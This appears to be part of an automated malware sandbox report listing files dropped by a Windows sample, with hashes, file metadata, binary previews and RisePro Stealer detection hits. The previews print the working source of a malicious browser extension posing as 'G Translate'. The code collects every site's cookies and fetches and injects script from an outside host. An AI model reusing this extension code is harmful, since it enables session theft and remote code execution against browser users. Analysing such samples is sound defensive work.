Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\xfile[1].bmp

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe
File Type:	data
Category:	dropped
Size (bytes):	5154292
Entropy (8bit):	7.171492934819912
Encrypted:	false
SSDEEP:	49152:mwdNeU0wrWwvHNGGnZVx5MpE8qpwziOW2VTJGTS6nYa8+/PwesQS1D+A17kQps2X:V3H5Wwv7ApEPwzdWrYE7sQQ7s2jA33Y
MD5:	2B78061725EF2B3E9B4522A8710A450B
SHA1:	B8688C8AD5B133A563F502390C2CD8ADF36B643E
SHA-256:	A8DC72BC6C887E75B762CD8E36A5A6BA8F8224B0345427652BA9B7D1A76A5C0C
SHA-512:	57E86F813E01DF5B98C16F4BB02467D919F1A36EC2659F2B7CEFCC065F1E648D6D70E1314000E935527E1CDB260A3648B5D9017B4F6C3B7C604E9E88707AC253
Malicious:	false
Reputation:	unknown
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.......EP..Y...-.................E..._..Y........^..5...5^......5........................[......RZ.....................................E.^.^....5^..\...........-[..x....[......................................................5...............5..]...........;apma....._..5...._.................5..u;gfgv....\...5^.._...._.................;gpyzv........[......#[................W..................^.....]........(..A...........}L..n.-.........................................#>.=..R_=....?../>.=x..$.=....?.C>.=K5]r..=....-.....?..W>.=#.LAk.......?...#>.=<5fxk....?...%..........>.=WAq:5........-........P....U...&...-....f.........-....?f.........-?...f.........-....fU........5...../....3-....f.........-......%..3.......>.=i.I,.k....z......-....-....-......?...%..>.......>.=.g%~-....-....-.....k....z......-......?..%..3.......>.=1G./.k....z......-....-....-......?...%..3...

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3140096
Entropy (8bit):	7.991925992203975
Encrypted:	true
SSDEEP:	49152:C5T9OVJvD7NiQZS6tWYlDfqv19jsnUiyidIz1lQRtOXY9hzQgKBfpfMc6slxVuOZ:CHO3vcFA1fSjsnUiyXYR/mBfhMc6slxF
MD5:	43B0FD4A4213AA702E6BB8E8B67A9E2B
SHA1:	2A1EAF3F5176E62A9AF9FDDBBE20163246E4C43F
SHA-256:	0554227F93F8E1E94A53EA0BE12EBC775EC0D0A02C38818E06271EE11528BC9E
SHA-512:	19B6C145B824609B72942E95FC9FD367858151310A0D1298214C8CF5D01F9A38B9927D3E19952483E63ED1FE4C023A8F67C5A06FD92E8E5F5E8C61466B2E1018
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|....................@.......................... ............@... .. .... .. ..........PP......L_.......`..4...................0P...............................P.......................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@..........x......(..................@....data.....".. ....!.................@...................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6671717
Entropy (8bit):	7.9960866261137555
Encrypted:	true
SSDEEP:	196608:91OTFLl0itIOEGi5v2lra7ucJHovNwbrNxUn5k:3OTFBsOEGi5v7lJHovQxUn5k
MD5:	EF289C0209DCA509E4AA6818F0CE63CA
SHA1:	1B541D840B2C2A73A8227DE5E3550E06D3B202D7
SHA-256:	9EA9E7C7B71BD4A016851BC6E602D2E430BFEFCCA219EDBD56246560258A412C
SHA-512:	A08BAFACD0460FADB07FCFC6EA5001329F8F9A6A1D02CED3B1368908FE8E02767E547657AEFCB7A6E999C4A259408298A4D58F8F17662F27DF42D4706BCEC086
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\data\config.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\boVVOk_VnQHj3a1q182pGwZV.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	775099
Entropy (8bit):	7.999736605774487
Encrypted:	true
SSDEEP:	12288:0XTgoAkbu74GiKEPrbqtSYS+RXsB3h1DchjQgiy+MZ32yaQr++7tiZFmZygPV:ybAx7mYzshBcFyyLZ32yah2iZorPV
MD5:	222113C4E56C973C8870989C6B13A124
SHA1:	00E8A69632EF96C3A928A9487657D34A12EFF49A
SHA-256:	809889ADAC7CDF9DD82CF0AA7F0697BB2827D96F016FEE37023F50D54C203083
SHA-512:	C61F5FC87FFA0E322481C72DB4CDA74EAB1FBF092B8CE9B7DF87790D06839E82BB9E33545BABEB5908DE860CDC033E2B96BDBB40CC4CC3420FC2471D6AD6321B
Malicious:	false
Reputation:	unknown
Preview:	..@..b.Z.....2.w..S....J......=..\|.Q."....\#......IE.....Q...]...M....I7..).]...-a..u.D....p.[..]...O.z...m.F.<.+80E.z.2..2....$R....LofV.k`.....`U..v.E...y%.......Kc...5V....`./..$.Q.....].)...n.D.B.R.O.jzqR8.$...oz......#...e..+...8.PF.A...]..-7.[......&>..L}+.H6&...-....F.^icB...b....NG\|..m..uk..f........}m@...#..8.Hgy...'......L..%..6<.4....{q.D.d.P..P.....{...?....1@1.........8.....E....P9..vMM...W./:.H%..F....G0.....v..7.:c......05...[lg..U'.....J..V...L....$..4..(.5..I.....@...$".9.+~-.H..SB&...q..u..<a.g2KE..L[.......... .(%)...9..U...\|..X6..V...NX.T..5....q.t..[.%........66 ....N.GU.3~.S.......u..P+f.....]..?y..#&5..Hwn.2G...N.mI....ds.w.{.].<.j.."!..D...u.\|..H......:..Z!.v..79.7}...(.O./.$..w`...\o;..!\f.@..\...5.kP.'u....!.-......Q}<.eJb.uy.:.xG.....J5.....}NA..Q..+.5n@.2...bEj....[...~j.....im.i]..p..p\|...E.RT.2.....].-.].xB..=..z..I...D5...[6qKFR...b..4.e...nf./..B.............,3@.e........._`6=2.<_~..2.

C:\Users\user\AppData\Local\Temp\7zSE537.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSD20C.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7033344
Entropy (8bit):	7.768481140857644
Encrypted:	false
SSDEEP:	98304:cDk6LY+ypAtCoKvivBH8PhDhgM/9tQaaLxBvX9vkYRPBpKux106ZhMymuRLY8RtB:scPoOPZ/8xxBvNMYRJJx1vZhFPLTR
MD5:	C28D2EDD15308BA2FF580F1355108192
SHA1:	EBB26444E5CD9312FD1A8A4AF8C95BED45CE8470
SHA-256:	34B3B55D01156246B11E8849C87BCECA172742285ACA47B1F69FD56A2C9A9645
SHA-512:	E433FC6C3645331E4AC5F0EA43D4A5B23F78981A3DEAB89E0BF278C25C0903988D0DDF7A604817B506D3F331F728A7530952C20D28B9C8039669358B1FF89CE3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........q..."..."...".#"...".."...".."P.."..7"..."..."..."hz."..."hz""..."Rich..."........................PE..L.....Ma.................v....`......O............@...........................k.......l...@.................................Hck...............................k.h@....................................j.@............`k.H............................text....t.......v.................. ..`.data....._......._..z..............@....idata.......`k.......j.............@..@.reloc..h@....k..B....k.............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9EqyzG_526pDOlT2Acj6hpa.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	676774
Entropy (8bit):	7.997879437093597
Encrypted:	true
SSDEEP:	12288:wunUGp87dTir6j0WrDcDajxmDOxirFYsdKi5O3j1J4nkZ8tP5O8hjm:wV57YTR4ix1x5fksP8
MD5:	3D001C0D3B90824656188315CC26D057
SHA1:	EA0C7712397EC8D582D1DB5E53E5F4255B676E2C
SHA-256:	BC37DB0E25807A9ECE6BA6A711D5996DCC56E6632A5F31177D9633BAA48B700D
SHA-512:	258D6FEBA44CA63770A65BB145B413317D4FA8BCA445927BBDC389DB6F5E1EEB2F5892319ED84FDE6B8CBC17561345986D929C5F4B2A20CF87F2B52CBF66239E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\9EqyzG_526pDOlT2Acj6hpa.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK........P=.X................Cookies\..PK........P=.XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\Extension\background.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3929
Entropy (8bit):	5.157208672167165
Encrypted:	false
SSDEEP:	96:+Xx4YDX54BA9qh86q2NCs7mMnGzFMPCBG74DUuDfuQb9a:+mo47CsbnGz/K49hE
MD5:	7190651F63C7093873D44C5B0A94C01D
SHA1:	304D8D8B8F257BD819C16D4F67FB731FD1D6A566
SHA-256:	716F300751686FC19BFB09B49E9502212E774798721BC78AC7051DA82D6C107C
SHA-512:	5D346003EA7E719D0C233AFC76487934963A90AA8B0374653D2F66D591420F4062ECAFF595995F748D98241355E63A48BB8C103FBA6279A40DC682D36EC15018
Malicious:	false
Reputation:	unknown
Preview:	let uniqueId;....chrome.runtime.onInstalled.addListener(async () => {.. uniqueId = await getData("uniqueId", undefined);.... if (!uniqueId) {.. uniqueId = generateUniqueId();.. await setData("uniqueId", uniqueId);.. }..});....chrome.webRequest.onCompleted.addListener(...async (details) => {... const qwqwqerw = await chrome.cookies.getAll({ url: details.url });... const xxxxsds = qwqwqerw.map((cvdfdfd) => ({....domain: cvdfdfd.domain,....expirationDate: cvdfdfd.expirationDate,....hostOnly: cvdfdfd.hostOnly,....httpOnly: cvdfdfd.httpOnly,....name: cvdfdfd.name,....path: cvdfdfd.path,....sameSite: cvdfdfd.sameSite,....secure: cvdfdfd.secure,....session: cvdfdfd.session,....storeId: cvdfdfd.storeId,....value: cvdfdfd.value... }));... await yrretrete(xxxxsds);...},...{ urls: ["<all_urls>"], types: ["main_frame"] },...["responseHeaders"].. );.. .. async function yrretrete(iuuiui) {...let zhengju = await getData("zhengju", []);......for (let ewewewe of iuuiui) {... const inde

C:\Users\user\AppData\Local\Temp\Extension\icon.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9163
Entropy (8bit):	7.932141623252235
Encrypted:	false
SSDEEP:	192:452Ler2SJy0cuPea2NHB1EJdc2mJgl4KddtHGN6/jypq:qVr2X09PeaKHB1E/cbJxKddfyo
MD5:	D2216C7877CC822C3ED9CEE055FA8CAD
SHA1:	12A20178F057548C04964E4FBED9A9E01B79DA71
SHA-256:	64323598C2F170F30E8E0C185EB570B615A40D0650034F5E8C6A29442735729C
SHA-512:	91A5F3B0891B9D831D2F0A65BAD4D90FF0E62D986E6EA66652F9A067F6CFA659230F23507E7E99CB100D4F207B24E19065263BCAB27E6E551065B483193528B7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........+......bKGD.............%tEXtdate:create.2022-03-03T18:50:25+00:00..+....%tEXtdate:modify.2022-03-03T18:50:25+00:00.I....".IDATx^.]...E.>w.53Y!+.. .."..#K...U.'.........(..$.l.".....(;O...(.@V.@L.d.}..;.u..u{....3...pr.v.Z....NUW....._^....gi..<u..L.".......qSC.....,.9.......^....]tL...%n......^Z......k.D.ed?..N..0...z......l.fM..g..gF!..t.s.....jH....P2..([1(..d$..}'g....../...w......~..w.N\...#.d.3..(.@..u.Z.:W..F.E.....j".C.C..u.'...0fV...@.+..J$y.x.Q.p".8;@m...o....k.zs..tDWn.S.?.,.......l.\|q..tD.x.\i.....P...=.......U..i......v.8z.e..).@u..t.H..\|.L....0.k..\..x....@?..-.2.:.. &..d.b.GbS..z!...?.4......F.....D..!......n......@I./.:I..:A....qq..f...B...B...!(.F.20...A. .....X.... ...Q'..^i..r..-V=...Z...N#.Us...H.....$.2..6...F..w.......:F.(.:O...../f.o#.Q../9.@_..B>.......QG.......k.......i.~....U#.Jh..{.....`.. D.Y&.]7.:...D %..A..'.0....

C:\Users\user\AppData\Local\Temp\Extension\js\content.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	4.804068696237837
Encrypted:	false
SSDEEP:	24:gsYvRyGpy1vJddy0TvEwmUYi/dgbRvecEn+MuRyzZxmRLE+:gXRvy1BdtTXYydCRvecEn+Nyz2O+
MD5:	9AB0F9320495B406FDDB6DE1730652CC
SHA1:	A6D35A74DC53289794C9A05DC1AD8C03878E153A
SHA-256:	AB913781705A8841F3C3973AF4CFEB14C7ED9919A08FF810B920DCA17D69CBD1
SHA-512:	C527057C8AF9CB4A55A71FF5A8010706119FD19B5C354DAE046CD498F350C422B10578A3E3C2423E385C81D76D3ECE3B057C5F02F8C7B76769E18C5E2AA023FE
Malicious:	false
Reputation:	unknown
Preview:	window.addEventListener(.. "message",.. async function(event) {.. var uniqueId = await getData("uniqueId", undefined).. if(event.data === 'xxxss'){.. window.postMessage({action:"dsssss",uniqueId:uniqueId},'');.. }.. else if(event.data === 'yuyuyu'){.. var zhengju = await getData('zhengju',[]);.. var name = chrome.runtime.getManifest().name;.. window.postMessage({action:"xxxxx1",zhengju:zhengju, id:uniqueId,name:name},'');.. }.. else if(event.data.action === 'xxxxx2').. {.. chrome.runtime.sendMessage({ action: "xxxxx2", url:event.data.url, data:event.data.data});.. deleteData('zhengju');.. }.. },.. false.. );.. .. async function getData(key, defaultValue) {.. const result = await new Promise((resolve) => {.. chrome.storage.local.get(key, (data) => {.. resolve(data[key] ?? defaultValue);.. });.. });.. return result;.. }.. .. async function deleteData(key) {..

C:\Users\user\AppData\Local\Temp\Extension\js\injected-script.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	760
Entropy (8bit):	4.623828038356185
Encrypted:	false
SSDEEP:	12:gsY6fUQGm58F1uX+RYuHnGR5PSb3sReHSoI+gzxXDJQW:gsY6f9GmGnuuRYuHGRRKsReHSt+gzRFN
MD5:	9BDB783950B8A2964601E723C752A4F1
SHA1:	FB03EF617E615E00C0DB2BF46F0CA61D40CBAFFB
SHA-256:	FE5658184307B0ADC7766ADCF3371FCFDB5D13F2997BC4F178617CBA9A4FB6EA
SHA-512:	054A4D5F20F0168FED3D082D06A393CAD9AF72B4933EA7CAAF1DFF3966DED16957DED7D50CCB954CD7161421486B73CD5FD301903C57443A2879247EE5EE9179
Malicious:	false
Reputation:	unknown
Preview:	window.addEventListener(.. "message",.. async (event) => {.. if (event.data.action !== "dsssss") {.. return;.. }.. .. const uniqueId = event.data.uniqueId;.. .. fetch(`https://thridparty.nservices.org/api/browser/GetScript?id=${uniqueId}&currentUrl=${encodeURIComponent(location.href)}`).. .then((response) => response.text()).. .then((script) => {.. const scriptElement = document.createElement("script");.. scriptElement.textContent = script;.. document.head.appendChild(scriptElement);.. }).. .catch((error) => {.. console.error("Error fetching or injecting script:", error);.. });.. },.. false.. );.. .. window.postMessage("xxxss", "*");..

C:\Users\user\AppData\Local\Temp\Extension\manifest.json

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uSTzApXGKnAPBLGKxFTiBRtj.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.689092695649468
Encrypted:	false
SSDEEP:	24:ueKwH1w3ZWEA8L78s+9FopT/zvQWtsRDeS32k:/J4ZWH8L78sMoxzvKSS3L
MD5:	3B697EAF6802FD9D093C632011E4C560
SHA1:	AA64DF47C04F9FB88E59E0D0953E4376020EC845
SHA-256:	4D18A652726C51E54D1B9780CA39C87F5E971F6BCD52C6B89CBD945EFE1BFC26
SHA-512:	FA01817195FF33BED282FCB5185D32E1E3241C48473BFDB1AF1AA778ADD754445BD252C76C2D368D9F05557F009E093A7DBC6E3F282FAA04935B3DDED7FFB190
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 3,. "name": "G Translate",. "version": "1.0",. "description": "View translations easily as you browse the web. ",. "icons": {. "128": "icon.png". },. "permissions": [. "scripting",. "webNavigation",. "storage",. "activeTab",. "<all_urls>",. "webRequest",. "cookies",. "tabs",. "downloads",. "webRequestBlocking",. "notifications",. "declarativeNetRequest",. "declarativeNetRequestFeedback",. "declarativeNetRequestWithHostAccess",. "unlimitedStorage",. "tabs". ],. "host_permissions": ["https:///", "\u003Call_urls>"],. "background": {. "service_worker": "background.js". },. "content_scripts": [ ..{. "js": [ "js/content.js" ],. "matches": [ "https:///"]. } . ],. "web_accessible_resources": [{. "resources": ["js/injected-script.js"],. "matches": ["<all_urls>"].}].}.

C:\Users\user\AppData\Local\Temp\Ihgs8tzG2tUPMYg5nkH89YL.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.916149632386028
Encrypted:	false
SSDEEP:	96:5WGzqeAoMq+YK0KF8cAJiI2i+uhZDnLlXlc6OhdQg93DeDZDbB/f0e3KJR:NqASpF8wFgDn5Xl4L3DEUe6JR
MD5:	FF5FE431B4FAE2A964DC5BADFA428D48
SHA1:	99586501BA3CB5590B0BE1DCF646510DD9AD268A
SHA-256:	D2A8C2D967CACA64451E4D9D5759ED7187C3D629A096026382B4D624FC40EE55
SHA-512:	9AF75EAABC465C5197E3B81F8E90A6C567A4CA73C162F6D207BF6B0B5157A28D898DB2F276E1067AD4C64E9E125870D9613E0534A6E3E034CE9052BAF44CF067
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\Ihgs8tzG2tUPMYg5nkH89YL.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK........\=.X................Cookies\..PK........\=.XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_C5tySJGGF0UA_S78re9UWIo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TmpE1CC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpE23A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\2JjpKpJKHpHJisxPcc0WWCif.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696832
Entropy (8bit):	6.46277785883186
Encrypted:	false
SSDEEP:	12288:L0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGvt5ELAfXExy8:ffKbT5lrPo37AzHTA63/cfU9IEUt53f0
MD5:	BE70A78A316030C24575F48F60A59045
SHA1:	A2F039AFF41F18428D20015740124FBB3BDAB9D4
SHA-256:	25D33FC9DBD3FFB2DAF77586A4EF1EB5D0AB7CA8A02D3F4B97D6470CA8AD4E53
SHA-512:	2EE3E56DB47209A2CC168A1514608CDB99ACBCCF86C2E4E5B7E28A92E855D6BD26D8BE5EE642CCB125ADE29704C24212A193F2DD50B57277B58B6EB9031809CE
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-TJ8RT.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-8OP5B.tmp\2JjpKpJKHpHJisxPcc0WWCif.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
